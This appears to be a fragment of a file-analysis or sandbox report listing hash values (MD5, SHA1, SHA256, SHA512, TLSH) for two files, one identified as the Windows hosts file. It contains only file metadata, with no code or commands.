- SHA512 2ca8d2edd67e5891dd6ce0cdb701c3a1978a7c526dbdbefe75b074b00c40bdbbc57a3da7c0cea3a861be544ddbedaf7e7d63f603030b90e9499728171c789aa9
- TLSH T1F1313335064955EC26F3C1940439B43FD21BF0F60DEBE9CA3A8DC54A77B1A5D12E224D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 05cbb805453fb4d33b6ebe61ba64f15bd852227542c765c1b49f7b76a000cf29
- MD5 20c351356d10acf150d790bfa940d4ca
- SHA1 cb3f2a2b2e9e4a96bf64b1439cfcfe9e8e77e426
- SHA512 d1432210bd44c3ade5ea85be5c6df72a420bd7a1e610c574cdfd39b9d2b7e6d6205cf4daac5f0b8479e2d7784ba1d74ab3e752ea0eb2eb853460225b452a5fe6
- TLSH T10B218835064991AC26F381A50429F42FE31FE0FB0DABD9C93A8DC54E3BA1A1C53A2649
- MD5 SHA1 SHA512 TLSH